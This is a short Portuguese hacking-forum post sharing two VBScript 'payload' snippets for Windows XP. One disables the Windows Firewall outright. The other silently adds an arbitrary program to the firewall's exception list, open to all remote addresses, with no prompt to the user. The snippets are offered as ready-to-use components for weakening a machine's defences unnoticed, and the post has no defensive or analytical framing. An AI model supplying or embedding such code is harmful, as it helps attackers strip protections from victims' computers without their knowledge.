Fechar o Firewall do Windows XP
Este script permite desabilitar por completo o firewall do Windows XP,
'''''''''''''''''''''''
' Name: Disable_Frw.vbs
' Version: 1.0
' Author: ||MadAntrax||
' Payload: Disable the Windows Firewall. According to the user
' security preferences, it can appear a warning ballon.
'
'''''''''''''''''''''''
Set Firewall = CreateObject("HNetCfg.FwMgr")
Set Politica = Firewall.LocalPolicy.CurrentProfile
Politica.FirewallEnabled = FALSE
Apenas decidir, podemos trocar o FALSE porum TRUE e está habilitado novamente o Firewall do Windows XP
====//====
Adicionar em modo silencioso um programa na lista de exceções:
Permite adicionar um arquivo na lista de exceções do Firewall, podemos selecionar algunos parametros tais como o nome da aplicação, a rota e muitas coisas...
'''''''''''''''''''''''
' Name: Add_App_to_Frw.vbs
' Version: 1.0
' Author: ||MadAntrax|
' Payload: Add a program to the exception list of Windows Firewall
' without prompting to user.
'
'''''''''''''''''''''''
Set objFirewall = CreateObject("HNetCfg.FwMgr")
Set objPolicy = objFirewall.LocalPolicy.CurrentProfile
Set objApplication = CreateObject("HNetCfg.FwAuthorizedApplication")
objApplication.Name = "ElHacker.net - Aplicaci?n"
objApplication.IPVersion = 2
objApplication.ProcessImageFileName = "C:\Windows\System32\calc.exe"
objApplication.RemoteAddresses = "*"
objApplication.Scope = 0
objApplication.Enabled = True
Set colApplications = objPolicy.AuthorizedApplications
colApplications.Add(objApplication)
(//http://foro.elhacker.net/index.php?action=dlattach;topic=128023.0;id=1569;image)
Fonte (//http://Elhacker.net)